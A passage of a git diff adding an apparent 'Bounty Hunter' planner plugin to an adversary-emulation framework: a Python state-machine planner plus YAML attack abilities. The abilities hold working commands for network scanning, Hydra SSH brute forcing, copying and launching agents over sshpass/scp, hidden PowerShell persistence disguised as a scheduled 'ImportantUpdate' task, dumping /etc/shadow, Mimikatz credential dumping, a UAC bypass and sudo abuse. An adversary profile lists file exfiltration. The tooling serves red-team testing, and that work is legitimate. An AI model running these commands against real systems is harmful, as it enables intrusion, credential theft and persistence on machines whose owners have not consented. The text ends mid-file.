IDs with corresponding reward value + :param locked_abilities: list of ability IDs of abilities that are locked by default + :param reward_updates: list of custom reward update values per ability + """ + + self.operation = operation + self.planning_svc = planning_svc + self.stopping_conditions = stopping_conditions + self.stopping_condition_met = False + self.next_bucket = "initial_access" + self.state_machine = [ + "initial_access", + "recon_ips", + "recon_ports", + "pick_agenda", + "execute_agenda", + "bounty", + "elevate", + "execute_elevated" + ] + + self.depth = depth + self.discount = discount + + self.default_reward = default_reward + self.default_final_reward = default_final_reward + self.default_reward_update = default_reward_update + + self.final_abilities = final_abilities or {} + self.initial_ability_rewards = ability_rewards or {} + self.ability_rewards = None + self.initial_locked_abilities = locked_abilities or {} + self.locked_abilities = None + self.reward_updates = reward_updates or {} + + self.agent_waiting_for_elevation = None + self.host_waiting_for_elevation = None + self.ability_waiting_for_elevation = None + + self.seed = seed + self.start_agent = None + + self.agenda_helper = AgendaHelper() + self.agendas = None + self.picked_agenda = None + + self.after_sleep_bucket = None + + self.weighted_random = weighted_random + + self.planning_svc.log.info(" Seed: {}".format(self.seed)) + + async def execute(self): + self.ability_rewards = self.initial_ability_rewards.copy() + self.locked_abilities = self.initial_locked_abilities.copy() + self.start_agent = self.operation.agents[0] + + for final_ability_id in self.final_abilities: + if final_ability_id not in self.ability_rewards: + self.ability_rewards[final_ability_id] = self.default_final_reward + + await self.planning_svc.execute_planner(self) + + async def initial_access(self): + # By starting an agent with group value "target" the initial access can be skipped. + if self.start_agent.group == "target": + self.planning_svc.log.info(" Initial Access: Skip! Start agent is in group 'target'. ") + self.next_bucket = "bounty" + return + + self.planning_svc.log.info(" Initial Access: Enter!") + + for agent in self.operation.agents: + if not agent.host == self.start_agent.host: + self.planning_svc.log.info(" Initial Access: Done! Got agent that is not on start host.") + + await self.start_agent.kill() + self.operation.agents.remove(self.start_agent) + self.next_bucket = "bounty" + + return + + self.planning_svc.log.info(" Initial Access: Begin! No agent was in operation was not on start host.") + + if self.agendas: + self.planning_svc.log.info(" Initial Access: Agendas already collected - try with next agenda.") + self.next_bucket = "pick_agenda" + else: + self.planning_svc.log.info(" Initial Access: No agendas collected yet - enter reconnaissance!") + self.next_bucket = "recon_ips" + + async def recon_ips(self): + self.planning_svc.log.info(" Recon IPs: Start Host Recon!") + ability_links = await self.planning_svc.get_links(self.operation, agent=self.start_agent, buckets=["recon_ips"]) + + seed(self.seed) + shuffled_links = choice( + ability_links, len(ability_links), replace=False + ).tolist() + + for link in shuffled_links: + link_id = [await self.operation.apply(link)] + await self.operation.wait_for_links_completion(link_id) + + if link.facts: + self.planning_svc.log.info(" Recon IPs: Found Hosts. Continue with Port Discovery.") + self.next_bucket = "recon_ports" + return + else: + self.planning_svc.log.info(" Recon IPs: Ability found no hosts. Continue..") + + self.planning_svc.log.warning(" Recon IPs: No hosts found.. Operation done.") + self.next_bucket = "recon_ports" + + async def recon_ports(self): + self.planning_svc.log.info(" Recon Ports: Start Port Recon!") + + ability_links = await self.planning_svc.get_links(self.operation, agent=self.start_agent, buckets=["recon_ports"]) + + seed(self.seed) + shuffled_links = choice( + ability_links, len(ability_links), replace=False + ).tolist() + + for link in shuffled_links: + link_id = [await self.operation.apply(link)] + await self.operation.wait_for_links_completion(link_id) + + if link.facts: + self.agendas = await self.agenda_helper.get_valid_agendas(ability_links) + + if self.agendas: + self.next_bucket = "pick_agenda" + self.planning_svc.log.info(" Recon Ports: Found valid agendas! Executing them.") + return + else: + self.planning_svc.log.info(" Recon Ports: No valid agendas found. Continue..") + else: + self.planning_svc.log.info(" Recon Ports: Ability was not successful. Continue..") + + self.planning_svc.log.warning(" Recon Ports: No port info or valid agenda could be gathered.. Operation done.") + self.next_bucket = None + + async def pick_agenda(self): + self.planning_svc.log.info(" Pick Agenda: Start!") + + for agenda in self.agendas: + self.planning_svc.log.debug(" Pick Agenda: Valid Agenda: {}".format(agenda.name)) + + from random import shuffle + shuffle(self.agendas) + + try: + self.picked_agenda = self.agendas.pop() + self.planning_svc.log.info(" Pick Agenda: Picked Agenda: {}".format(agenda.name)) + + for ability_id in self.picked_agenda.ability_ids: + self.planning_svc.log.debug(" Pick Agenda: Adding ability to operation: {}".format(ability_id)) + await self._add_ability_manually_to_operation(ability_id, "execute_agenda") + + self.next_bucket = "execute_agenda" + + except IndexError: + self.planning_svc.log.warning(" Pick Agenda: No more agendas to try. Return to Recon Ports!") + self.next_bucket = "recon_ports" + + self.planning_svc.log.info(" Pick Agenda: Done!") + + async def execute_agenda(self): + self.planning_svc.log.info(" Execute Agenda: Start!") + + ability_links = await self.planning_svc.get_links( + self.operation, agent=self.start_agent, buckets=["execute_agenda"]) + + if ability_links: + links_ids = [await self.operation.apply(l) for l in ability_links] + await self.operation.wait_for_links_completion(links_ids) + return + else: + self.planning_svc.log.info(" Execute Agenda: Agenda executed. Sleep and return to Initial Access!") + self.next_bucket = "sleep" + self.after_sleep_bucket = "initial_access" + + async def bounty(self): + self.planning_svc.log.info(" Bounty: Start!") + picked_links_with_reward_per_agent = [] + + self.planning_svc.log.debug(" Bounty: Picking abilities per agent..") + + # Pick one ability per agent and add it to list of picked abilities + for agent in self.operation.agents: + executable_links = await self._get_executable_links(agent) + + if executable_links: + next_ability_link, next_ability_reward = await self._pick_next_ability_link(agent, executable_links) + self.planning_svc.log.debug( + " Bounty: Picked next ability link id: {},name: {},reward: {} for agent {}." + .format(next_ability_link.ability.ability_id, next_ability_link.ability.name, next_ability_reward, agent.paw) + ) + picked_links_with_reward_per_agent.append((next_ability_link, next_ability_reward, agent, )) + + # Pick and execute one of the above picked ability links + if picked_links_with_reward_per_agent: + if self.weighted_random: + picked_links_with_reward_per_agent = await self._shuffle_weighted_randomly(picked_links_with_reward_per_agent) + else: + picked_links_with_reward_per_agent.sort(key=lambda p: p[1], reverse=True) + + chosen_link = picked_links_with_reward_per_agent[0][0] + chosen_agent = picked_links_with_reward_per_agent[0][2] + + self.planning_svc.log.info(" Bounty: Picked next ability to execute: Ability: {}, Agent: {}" + .format(chosen_link.ability.name, chosen_agent.paw) + ) + + if not chosen_agent.privileged_to_run(chosen_link.ability): + self.planning_svc.log.info(" Bounty: Agent needs elevation to execute ability.") + self.agent_waiting_for_elevation = chosen_agent + self.host_waiting_for_elevation = chosen_agent.host + self.ability_waiting_for_elevation = chosen_link.ability + self.next_bucket = "elevate" + return + + link_id = await self.operation.apply(chosen_link) + await self.operation.wait_for_links_completion([link_id]) + + await self._update_ability_rewards(chosen_link.ability, chosen_agent) + + if chosen_link.ability.ability_id in self.final_abilities: + self.planning_svc.log.info(" Bounty: Executed final ability. Ending Operation!") + self.next_bucket = None + else: + self.planning_svc.log.info(" Bounty: All executables links executed. Ending Operation!") + self.next_bucket = None + + async def elevate(self): + self.planning_svc.log.info(" Elevate: Start!") + + for agent in self.operation.agents: + if agent.privilege == "Elevated" and agent.host == self.host_waiting_for_elevation: + self.planning_svc.log.info( + " Elevate: Host {} has elevated agent {}. Executing ability {} using this agent!" + .format(self.host_waiting_for_elevation, agent.paw, self.ability_waiting_for_elevation.name) + ) + self.next_bucket = "execute_elevated" + return + + privilege_escalation_links = await self.planning_svc.get_links( + self.operation, agent=self.agent_waiting_for_elevation, buckets=["privilege-escalation"] + ) + + if not privilege_escalation_links: + self.next_bucket = "bounty" + return + + for link in privilege_escalation_links: + self.planning_svc.log.debug(" Elevate: Got Priv.Esc. Link with ability {}!".format(link.ability.name)) + + seed(self.seed) + chosen_link = choice(privilege_escalation_links, 1)[0] + self.planning_svc.log.debug(" Elevate: Execute Priv.Esc. Ability {}!".format(chosen_link.ability.name)) + + link_ids = [await self.operation.apply(chosen_link)] + await self.operation.wait_for_links_completion(link_ids) + + self.next_bucket = "sleep" + self.after_sleep_bucket = "elevate" + + async def execute_elevated(self): + self.planning_svc.log.info(" Execute Elevated: Executing ability that needed elevation!") + + elevated_agent = await self._get_elevated_agent(self.host_waiting_for_elevation) + ability_links = await self.planning_svc.get_links(self.operation, agent=elevated_agent) + + for ability_link in ability_links: + if ability_link.ability.ability_id == self.ability_waiting_for_elevation.ability_id: + self.planning_svc.log.debug( + " Execute Elevated: Found link with same ability id. Found ID: {}. Waiting for elevation ID: {}." + .format(ability_link.ability.ability_id, self.ability_waiting_for_elevation.ability_id) + ) + link_ids = [await self.operation.apply(ability_link)] + await self.operation.wait_for_links_completion(link_ids) + await self._update_ability_rewards(self.ability_waiting_for_elevation, elevated_agent) + break + + if self.ability_waiting_for_elevation.ability_id in self.final_abilities: + self.next_bucket = None + else: + self.agent_waiting_for_elevation = None + self.host_waiting_for_elevation = None + self.ability_waiting_for_elevation = None + self.next_bucket = "bounty" + + async def sleep(self): + self.planning_svc.log.info(" Sleeping... and probably waiting for initial access or privilege escalation.") + + await self._add_ability_manually_to_operation("36eecb80-ede3-442b-8774-956e906aff02", "sleep") + sleep_link = (await self.planning_svc.get_links( + self.operation, agent=self.agent_waiting_for_elevation, buckets=["sleep"]))[0] + await self._remove_ability_from_operation("36eecb80-ede3-442b-8774-956e906aff02", "sleep") + + link_id = [await self.operation.apply(sleep_link)] + await self.operation.wait_for_links_completion(link_id) + + self.next_bucket = self.after_sleep_bucket + + async def _get_elevated_agent(self, host): + for agent in self.operation.agents: + if agent.host == host and agent.privilege == "Elevated": + return agent + + async def _add_ability_manually_to_operation(self, ability_id, bucket_name): + ability = (await self.planning_svc.get_service('data_svc') + .locate('abilities', match=dict(ability_id=tuple([ability_id]))))[0] + await ability.add_bucket(bucket_name) + + if not ability_id in self.operation.adversary.atomic_ordering: + self.operation.adversary.atomic_ordering.append(ability_id) + + async def _remove_ability_from_operation(self, ability_id, bucket_name): + ability = (await self.planning_svc.get_service('data_svc') + .locate('abilities', match=dict(ability_id=tuple([ability_id]))))[0] + + ability.buckets.remove(bucket_name) + self.operation.adversary.atomic_ordering.remove(ability_id) + + async def _get_executable_links(self, agent): + if await self._get_elevated_agent(agent.host): + return await self.planning_svc.get_links(self.operation, agent=agent, trim=True) + else: + temp_agent_privilege = agent.privilege + agent.privilege = "Elevated" + executable_links = await self.planning_svc.get_links(self.operation, agent=agent, trim=True) + agent.privilege = temp_agent_privilege + + return executable_links + + async def _pick_next_ability_link(self, agent, executable_links): + supported_abilities = await self._get_supported_abilities(agent) + ability_reward_tuples = await self._get_ability_rewards(agent, supported_abilities) + + for art in ability_reward_tuples: + self.planning_svc.log.debug(" Ability Rewards: {}".format(art)) + + if self.weighted_random: + ability_reward_tuples = await self._shuffle_weighted_randomly(ability_reward_tuples) + else: + ability_reward_tuples.sort(key=lambda t: t[1], reverse=True) + + for art in ability_reward_tuples: + self.planning_svc.log.debug(" Shuffled/Sorted Ability Rewards: {}".format(art)) + + for ability_reward_tuple in ability_reward_tuples: + for link in executable_links: + if link.ability.ability_id == ability_reward_tuple[0]: + return link, ability_reward_tuple[1] + + async def _get_supported_abilities(self, agent): + """Return list of abilities that are supported by the given agent, i.e. which abilities are + defined in the operation's adversary's atomic ordering and can potentially be executed by the agent. + This list includes abilities that cannot be executed because of missing facts and privileges + + :param agent: + :return: list of abilities that are supported by the given agent + """ + + ao = self.operation.adversary.atomic_ordering + data_svc = self.planning_svc.get_service("data_svc") + + abilities = await data_svc.locate("abilities", match=dict(ability_id=tuple(ao))) + + # This part is an adapted version of agent.capabilities(abilities) + # that also includes abilities that cannot be executed because of missing privileges + supported_abilities = [] + + for ability in abilities: + if ability.find_executors(agent.executors, agent.platform): + supported_abilities.append(ability) + return supported_abilities + + async def _get_ability_rewards(self, agent, abilities): + """Get list of ability reward tuples where each tuple consists of an ability ID and its future reward + + :param agent: + :param abilities: + :return: list of tuples (ability id, reward) + """ + + ability_rewards = [] + + for ability in abilities: + if ability.ability_id not in self.locked_abilities: + ability_rewards.append((ability.ability_id, await self._future_reward(agent, ability, abilities, 0), )) + # ability_rewards[ability.ability_id] = await self._future_reward(agent, ability, abilities, 0) + + return ability_rewards + + async def _future_reward(self, agent, current_ability, abilities, current_depth): + """Calculate future reward for current ability + + :param agent: + :param current_ability: + :param abilities: + :param current_depth: + :return: reward for current ability + """ + + if current_depth > self.depth: + return 0 + + abilities = set(abilities) - set([current_ability]) + future_rewards = [0] + + following_abilities = await self._get_following_abilities(agent, current_ability, abilities) + + for following_ability in following_abilities: + future_rewards.append( + await self._future_reward(agent, following_ability, abilities, current_depth+1) + ) + + reward = round( + self.ability_rewards.get(current_ability.ability_id, self.default_reward) + * (self.discount**current_depth) + + max(future_rewards), + 3, + ) + + return reward + + @staticmethod + async def _get_following_abilities(agent, current_ability, abilities): + """Get abilities that follow the current ability, i.e. abilities that use facts that are generated by + the current ability + + :param agent: + :param current_ability: + :param abilities: + :return: list of abilities that follow the given ability + """ + + current_executor = await agent.get_preferred_executor(current_ability) + facts = [ + fact + for parser in current_executor.parsers + for cfg in parser.parserconfigs + for fact in [cfg.source, cfg.target] + if fact is not None and fact != "" + ] + + following_abilities = [] + + for ability in abilities: + executor = await agent.get_preferred_executor(ability) + + if executor.command and any(fact in executor.command for fact in facts): + following_abilities.append(ability) + + return following_abilities + + async def _shuffle_weighted_randomly(self, list_of_tuples): + """Shuffle the given list of tuples weighted randomly where the first tuple element is the value and the + second tuple element is the value's weight + + :param list_of_tuples: + :return: Weighted-randomly shuffled list of tuples + """ + + shuffled_list = [] + + values = [element[0] for element in list_of_tuples] + weights = [element[1] for element in list_of_tuples] + # normalizing is necessary for np.random.choice function + normalized_weights = [float(weight)/sum(weights) for weight in weights] + + seed(self.seed) + + shuffled_values = choice( + values, len(values), p=normalized_weights, replace=False + ).tolist() + + for value in shuffled_values: + for element in list_of_tuples: + if value == element[0]: + shuffled_list.append(element) + + return shuffled_list + + async def _update_ability_rewards(self, executed_ability, agent): + """Update rewards of following abilities and according to planners yml config file (reward_updates) + + :param executed_ability: + :param agent: + :return: None + """ + ability_updates = self.reward_updates.get(executed_ability.ability_id, {}) + + if ability_updates: + for ability_update_id, ability_update_value in ability_updates.items(): + if ability_update_id in self.locked_abilities: + self.locked_abilities.remove(ability_update_id) + if ability_update_id not in self.ability_rewards: + self.ability_rewards[ability_update_id] = self.default_reward + ability_update_value + else: + self.ability_rewards[ability_update_id] += ability_update_value + + supported_abilities = await self._get_supported_abilities(agent) + supported_abilities = set(supported_abilities) - set([executed_ability]) + following_abilities = await self._get_following_abilities(agent, executed_ability, supported_abilities) + + if self.default_reward_update: + for following_ability in following_abilities: + if following_ability.ability_id not in ability_updates: + if following_ability.ability_id not in self.ability_rewards: + self.ability_rewards[following_ability.ability_id] = \ + self.default_reward + self.default_reward_update + else: + self.ability_rewards[following_ability.ability_id] += self.default_reward_update diff --git a/app/requirements/ssh.py b/app/requirements/ssh.py new file mode 100644 index 0000000..0187dde --- /dev/null +++ b/app/requirements/ssh.py @@ -0,0 +1,24 @@ +from plugins.stockpile.app.requirements.base_requirement import BaseRequirement + + +class Requirement(BaseRequirement): + + async def enforce(self, link, operation): + """ + Given a link and the current operation, check if the link's used fact combination complies + with the abilities enforcement mechanism + :param link + :param operation + :return: True if it complies, False if it doesn't + """ + relationships = await operation.all_relationships() + + for uf in link.used: + if self.enforcements['source'] == uf.trait: + for r in self._get_relationships(uf, relationships): + if self.is_valid_relationship([f for f in link.used if f != uf], r): + port = r.target.value.split("/")[0] + if port == "22": + return True + + return False diff --git a/assets/apt29day2bountyhunter.png b/assets/apt29day2bountyhunter.png new file mode 100644 index 0000000..c463415 Binary files /dev/null and b/assets/apt29day2bountyhunter.png differ diff --git a/assets/bounty_example_passwords_gathered.png b/assets/bounty_example_passwords_gathered.png new file mode 100644 index 0000000..f462ff9 Binary files /dev/null and b/assets/bounty_example_passwords_gathered.png differ diff --git a/assets/bountyhunter_example_operation.png b/assets/bountyhunter_example_operation.png new file mode 100644 index 0000000..08c9214 Binary files /dev/null and b/assets/bountyhunter_example_operation.png differ diff --git a/conf/agenda_mapping.json b/conf/agenda_mapping.json new file mode 100644 index 0000000..8c7a136 --- /dev/null +++ b/conf/agenda_mapping.json @@ -0,0 +1,15 @@ +{ + "agendas": [ + { + "name": "ssh bruteforce linux/windows", + "requirements": { + "port": "22" + }, + "ability_ids": [ + "85d6ce79-07ea-4ed4-b763-8a6f7d5591d7", + "6a49e8f3-0c00-436e-a848-06de496a942f", + "099ea47f-fa4d-4c2e-a089-601eefecb962" + ] + } + ] +} diff --git a/data/abilities/credential-access/8320facd-6bc9-4850-8ecb-02a18064aa91.yml b/data/abilities/credential-access/8320facd-6bc9-4850-8ecb-02a18064aa91.yml new file mode 100644 index 0000000..980c1e5 --- /dev/null +++ b/data/abilities/credential-access/8320facd-6bc9-4850-8ecb-02a18064aa91.yml @@ -0,0 +1,14 @@ +- description: Dump /etc/shadow content + id: 8320facd-6bc9-4850-8ecb-02a18064aa91 + name: Dump /etc/shadow + platforms: + linux: + sh: + command: 'cat /etc/shadow' + repeatable: false + requirements: [] + tactic: credential-access + technique: + attack_id: T1003.008 + name: 'OS Credential Dumping: /etc/passwd and /etc/shadow' + privilege: Elevated diff --git a/data/abilities/credential-access/a440211a-d2cc-4f89-a02d-a39061a0e697.yml b/data/abilities/credential-access/a440211a-d2cc-4f89-a02d-a39061a0e697.yml new file mode 100644 index 0000000..32916e6 --- /dev/null +++ b/data/abilities/credential-access/a440211a-d2cc-4f89-a02d-a39061a0e697.yml @@ -0,0 +1,61 @@ +- tactic: credential-access + technique_name: Credential Dumping + technique_id: T1003 + name: Credential Dumping + description: Dumping credentials via wmidump (Mimikatz) + executors: + - name: psh + platform: windows + command: '. .\credDump.ps1; + + wmidump;' + code: null + language: null + build_target: null + payloads: + - credDump.ps1 + uploads: [] + timeout: 60 + parsers: + - module: plugins.bountyhunter.app.parsers.wmidump + parserconfigs: + - source: target.winrm.password + edge: '' + target: '' + custom_parser_vals: {} + cleanup: [] + variations: [] + additional_info: {} + - name: pwsh + platform: windows + command: '. .\credDump.ps1; + + wmidump;' + code: null + language: null + build_target: null + payloads: + - credDump.ps1 + uploads: [] + timeout: 60 + parsers: + - module: plugins.bountyhunter.app.parsers.wmidump + parserconfigs: + - source: target.winrm.password + edge: '' + target: '' + custom_parser_vals: {} + cleanup: [] + variations: [] + additional_info: {} + requirements: [] + privilege: Elevated + repeatable: false + buckets: + - credential-access + additional_info: {} + access: {} + singleton: false + plugin: bountyhunter + delete_payload: false + id: a440211a-d2cc-4f89-a02d-a39061a0e697 diff --git a/data/abilities/initial_access/099ea47f-fa4d-4c2e-a089-601eefecb962.yml b/data/abilities/initial_access/099ea47f-fa4d-4c2e-a089-601eefecb962.yml new file mode 100644 index 0000000..c8d1c5f --- /dev/null +++ b/data/abilities/initial_access/099ea47f-fa4d-4c2e-a089-601eefecb962.yml @@ -0,0 +1,48 @@ +- delete_payload: true + technique_name: Valid Accounts + buckets: + - initial_access + description: This ability connects to the target via SSH by using known credentials + and starts the copied agent script. + singleton: false + technique_id: T10781 + plugin: bountyhunter + repeatable: false + privilege: '' + access: {} + name: Run start_agent script using known SSH credentials + requirements: + - module: plugins.stockpile.app.requirements.paw_provenance + relationship_match: + - source: bountyhunter.network.ip + - module: plugins.stockpile.app.requirements.basic + relationship_match: + - source: host.ssh.user + edge: has_ssh_pwd + target: host.ssh.pwd + - module: plugins.stockpile.app.requirements.basic + relationship_match: + - source: bountyhunter.network.ip + edge: has_ssh_user + target: host.ssh.user + additional_info: {} + executors: + - timeout: 60 + cleanup: [] + payloads: [] + uploads: [] + platform: linux + build_target: null + variations: [] + additional_info: {} + command: ' + if [ #{host.os} = Windows ]; + then sshpass -p #{host.ssh.pwd} ssh #{host.ssh.user}@#{bountyhunter.network.ip} ''schtasks.exe -create -tn ImportantUpdate -f -tr "powershell.exe Set-Location C:\Users\Public; powershell.exe -Windowstyle hidden -ep bypass C:\Users\Public\start_agent.ps1" -sc ONSTART && schtasks.exe -run -tn ImportantUpdate''; + elif [ #{host.os} = Linux ]; + then sshpass -p #{host.ssh.pwd} ssh #{host.ssh.user}@#{bountyhunter.network.ip} "/bin/bash #{host.file.start_agent}"; + fi;' + code: null + name: sh + language: null + tactic: initial_access + id: 099ea47f-fa4d-4c2e-a089-601eefecb962 diff --git a/data/abilities/initial_access/6a49e8f3-0c00-436e-a848-06de496a942f.yml b/data/abilities/initial_access/6a49e8f3-0c00-436e-a848-06de496a942f.yml new file mode 100644 index 0000000..311a257 --- /dev/null +++ b/data/abilities/initial_access/6a49e8f3-0c00-436e-a848-06de496a942f.yml @@ -0,0 +1,56 @@ +- delete_payload: true + technique_name: Valid Accounts + buckets: + - initial_access + description: This ability copies the start_agent script via scp using known SSH credentials on Linux and Windows. + singleton: false + technique_id: T10781 + plugin: bountyhunter + repeatable: false + privilege: '' + access: {} + name: Copy start agent via scp over ssh + requirements: + - module: plugins.stockpile.app.requirements.basic + relationship_match: + - source: bountyhunter.network.ip + edge: has_os + target: host.os + - module: plugins.stockpile.app.requirements.basic + relationship_match: + - source: host.ssh.user + edge: has_ssh_pwd + target: host.ssh.pwd + - module: plugins.stockpile.app.requirements.basic + relationship_match: + - source: bountyhunter.network.ip + edge: has_ssh_user + target: host.ssh.user + additional_info: {} + executors: + - timeout: 60 + cleanup: [] + payloads: [] + uploads: [] + platform: linux + build_target: null + variations: [] + additional_info: {} + command: ' + if [ #{host.os} = Windows ]; + then sshpass -p #{host.ssh.pwd} scp -vvv caldera/plugins/bountyhunter/payloads/start_agent_from_windows_target.ps1 #{host.ssh.user}@#{bountyhunter.network.ip}:C:/Users/Public/start_agent.ps1 2>&1; + elif [ #{host.os} = Linux ]; + then sshpass -p #{host.ssh.pwd} scp -vv -o StrictHostKeyChecking=no caldera/plugins/bountyhunter/payloads/start_agent_from_linux_target.sh #{host.ssh.user}@#{bountyhunter.network.ip}:start_agent.sh 2>&1; + fi;' + code: null + name: sh + language: null + parsers: + - module: plugins.bountyhunter.app.parsers.scp + parserconfigs: + - edge: has_file + custom_parser_vals: { } + source: bountyhunter.network.ip + target: host.file.start_agent + tactic: initial_access + id: 6a49e8f3-0c00-436e-a848-06de496a942f diff --git a/data/abilities/privilege-escalation/0220b3e7-9ba0-4529-abb4-52a70dc49b50.yml b/data/abilities/privilege-escalation/0220b3e7-9ba0-4529-abb4-52a70dc49b50.yml new file mode 100644 index 0000000..9b5cd15 --- /dev/null +++ b/data/abilities/privilege-escalation/0220b3e7-9ba0-4529-abb4-52a70dc49b50.yml @@ -0,0 +1,19 @@ +- description: Invoke UAC bypass sdctl + id: 0220b3e7-9ba0-4529-abb4-52a70dc49b50 + name: UAC Bypass via sdctl + platforms: + windows: + psh,pwsh: + command: '. .\bypassUAC.ps1; + + bypass; + + ' + payloads: + - bypassUAC.ps1 + repeatable: false + requirements: [] + tactic: privilege-escalation + technique: + attack_id: T1134.002 + name: 'Access Token Manipulation: Create Process with Token' diff --git a/data/abilities/privilege-escalation/ce6628bc-c1e2-456b-91e7-da5b8bcd4005.yml b/data/abilities/privilege-escalation/ce6628bc-c1e2-456b-91e7-da5b8bcd4005.yml new file mode 100644 index 0000000..bdfe844 --- /dev/null +++ b/data/abilities/privilege-escalation/ce6628bc-c1e2-456b-91e7-da5b8bcd4005.yml @@ -0,0 +1,13 @@ +- description: Abuse poor configuration where bash can be executed with sudo privileges without password. + id: ce6628bc-c1e2-456b-91e7-da5b8bcd4005 + name: Abuse bash can be executed with sudo privileges + platforms: + linux: + sh: + command: 'sudo /bin/bash #{host.file.start_agent}' + repeatable: false + requirements: [] + tactic: privilege-escalation + technique: + attack_id: T1548.003 + name: 'Abuse Elevation Control Mechanism: Sudo and Sudo Caching' diff --git a/data/abilities/recon_ips/9c109820-6c4d-4378-9a82-00a75323bfda.yml b/data/abilities/recon_ips/9c109820-6c4d-4378-9a82-00a75323bfda.yml new file mode 100644 index 0000000..8133b1d --- /dev/null +++ b/data/abilities/recon_ips/9c109820-6c4d-4378-9a82-00a75323bfda.yml @@ -0,0 +1,18 @@ +- id: 9c109820-6c4d-4378-9a82-00a75323bfda + name: Nmap host scan + description: Run Nmap host scan to detect other machines in given IP range + tactic: recon_ips + technique: + attack_id: T1595 + name: Active Scanning + success_rate: 1 + stealthiness: 1 + platforms: + linux: + sh: + command: 'nmap -sn #{bountyhunter.ip_range}' + parsers: + plugins.bountyhunter.app.parsers.nmap_host_scan: + - edge: has_ip + source: bountyhunter.ip_range + target: bountyhunter.network.ip diff --git a/data/abilities/recon_ips/f7b3d2cf-d802-4535-8926-1d00c76008c0.yml b/data/abilities/recon_ips/f7b3d2cf-d802-4535-8926-1d00c76008c0.yml new file mode 100644 index 0000000..a4ec5fd --- /dev/null +++ b/data/abilities/recon_ips/f7b3d2cf-d802-4535-8926-1d00c76008c0.yml @@ -0,0 +1,36 @@ +- access: {} + singleton: false + delete_payload: true + technique_name: Active Scanning + name: Arp-scan + tactic: recon_ips + buckets: + - recon_ips + additional_info: {} + executors: + - build_target: null + command: 'arp-scan -l -I #{bountyhunter.network.name}' + parsers: + - module: plugins.bountyhunter.app.parsers.arp + parserconfigs: + - edge: has_ip + custom_parser_vals: {} + source: bountyhunter.network.name + target: bountyhunter.network.ip + name: sh + language: null + additional_info: {} + payloads: [] + variations: [] + cleanup: [] + timeout: 60 + code: null + platform: linux + uploads: [] + privilege: '' + description: Run Arp-scan on network to discover IP addresses. + plugin: bountyhunter + requirements: [] + repeatable: false + technique_id: T1595 + id: f7b3d2cf-d802-4535-8926-1d00c76008c0 diff --git a/data/abilities/recon_ports/8fcd3afb-75ca-40da-8bff-432abfb00fbb.yml b/data/abilities/recon_ports/8fcd3afb-75ca-40da-8bff-432abfb00fbb.yml new file mode 100644 index 0000000..97a4197 --- /dev/null +++ b/data/abilities/recon_ports/8fcd3afb-75ca-40da-8bff-432abfb00fbb.yml @@ -0,0 +1,22 @@ +- id: 8fcd3afb-75ca-40da-8bff-432abfb00fbb + name: Nmap port scan + description: Run Nmap port scan with service/version detection against remote machine. + tactic: recon_ports + technique: + attack_id: T1046 + name: Network Service Discovery + platforms: + linux: + sh: + command: 'nmap -sV -O #{bountyhunter.network.ip}' + parsers: + plugins.bountyhunter.app.parsers.nmap_port_scan: + - source: bountyhunter.network.ip + edge: has_port + target: host.ports.open + - source: bountyhunter.network.ip + edge: has_os + target: host.os + requirements: + - plugins.stockpile.app.requirements.paw_provenance: + - source: bountyhunter.network.ip diff --git a/data/abilities/resource_development/85d6ce79-07ea-4ed4-b763-8a6f7d5591d7.yml b/data/abilities/resource_development/85d6ce79-07ea-4ed4-b763-8a6f7d5591d7.yml new file mode 100644 index 0000000..72beec7 --- /dev/null +++ b/data/abilities/resource_development/85d6ce79-07ea-4ed4-b763-8a6f7d5591d7.yml @@ -0,0 +1,47 @@ +- privilege: '' + name: Get SSH credentials using Hydra brute force + description: This ability tries to gather SSH credentials using Hydra brute force. + executors: + - platform: linux + build_target: null + payloads: [] + variations: [] + name: sh + parsers: + - parserconfigs: + - custom_parser_vals: {} + source: bountyhunter.network.ip + target: host.ssh.user + edge: has_ssh_user + - custom_parser_vals: {} + source: host.ssh.user + target: host.ssh.pwd + edge: has_ssh_pwd + module: plugins.bountyhunter.app.parsers.hydra + timeout: 600 + code: null + cleanup: [] + language: null + uploads: [] + command: hydra -L caldera/plugins/bountyhunter/files/wordlists/users.txt + -P caldera/plugins/bountyhunter/files/wordlists/passwords.txt -t 4 + ssh://#{bountyhunter.network.ip} & echo "#{host.ports.open}" > /dev/null + additional_info: {} + requirements: + - relationship_match: + - source: bountyhunter.network.ip + edge: has_port + target: host.ports.open + module: plugins.bountyhunter.app.requirements.ssh + additional_info: {} + repeatable: false + buckets: + - resource_development + access: {} + technique_name: Compromise Accounts + plugin: bountyhunter + delete_payload: true + singleton: false + technique_id: T1078 + tactic: resource_development + id: 85d6ce79-07ea-4ed4-b763-8a6f7d5591d7 diff --git a/data/adversaries/0b73bf34-fc5b-48f7-9194-dce993b915b1.yml b/data/adversaries/0b73bf34-fc5b-48f7-9194-dce993b915b1.yml new file mode 100644 index 0000000..2eb4c44 --- /dev/null +++ b/data/adversaries/0b73bf34-fc5b-48f7-9194-dce993b915b1.yml @@ -0,0 +1,17 @@ +--- + +id: 0b73bf34-fc5b-48f7-9194-dce993b915b1 +name: Bounty Hunter - Initial Access Tester +description: | + Adversary Profile for Bounty Hunter initial access testing against Windows and Linux Targets. + Finds and exfiltrates sensitive files after successful initial access. +atomic_ordering: + - 9c109820-6c4d-4378-9a82-00a75323bfda # Nmap host scan + - 8fcd3afb-75ca-40da-8bff-432abfb00fbb # Nmap port scan + - 720a3356-eee1-4015-9135-0fc08f7eb2d5 # Find git repositories + - 2f90d4de-2612-4468-9251-b220e3727452 # compress git repository + - 6469befa-748a-4b9c-a96d-f191fde47d89 # Create staging directory + - 4e97e699-93d7-4040-b5a3-2e906a58199e # stage sensitive files + - 90c2efaa-8205-480d-8bb6-61d90dbaf81b # find files + - 300157e5-f4ad-4569-b533-9d1fa0e74d74 # compress staged directory + - ea713bc4-63f0-491c-9a6f-0b01d560b87e # exfil staged directory diff --git a/data/adversaries/8232180c-e012-42f1-8c39-8b9d5a514bf3.yml b/data/adversaries/8232180c-e012-42f1-8c39-8b9d5a514bf3.yml new file mode 100644 index 0000000..170d5f2 --- /dev/null +++ b/data/adversaries/8232180c-e012-42f1-8c39-8b9d5a514bf3.yml @@ -0,0 +1,14 @@ +--- + +id: 8232180c-e012-42f1-8c39-8b9d5a514bf3 +name: Bounty Hunter - Initial Access and Privilege Escalation Tester +description: | + Adversary Profile for Bounty Hunter initial access and privilege escalation testing against Windows and Linux Targets. + After successful initial access, the adversary escalates privileges and executes an ability that needs elevated privileges. +atomic_ordering: + - 9c109820-6c4d-4378-9a82-00a75323bfda # Nmap host scan + - 8fcd3afb-75ca-40da-8bff-432abfb00fbb # Nmap port scan + - 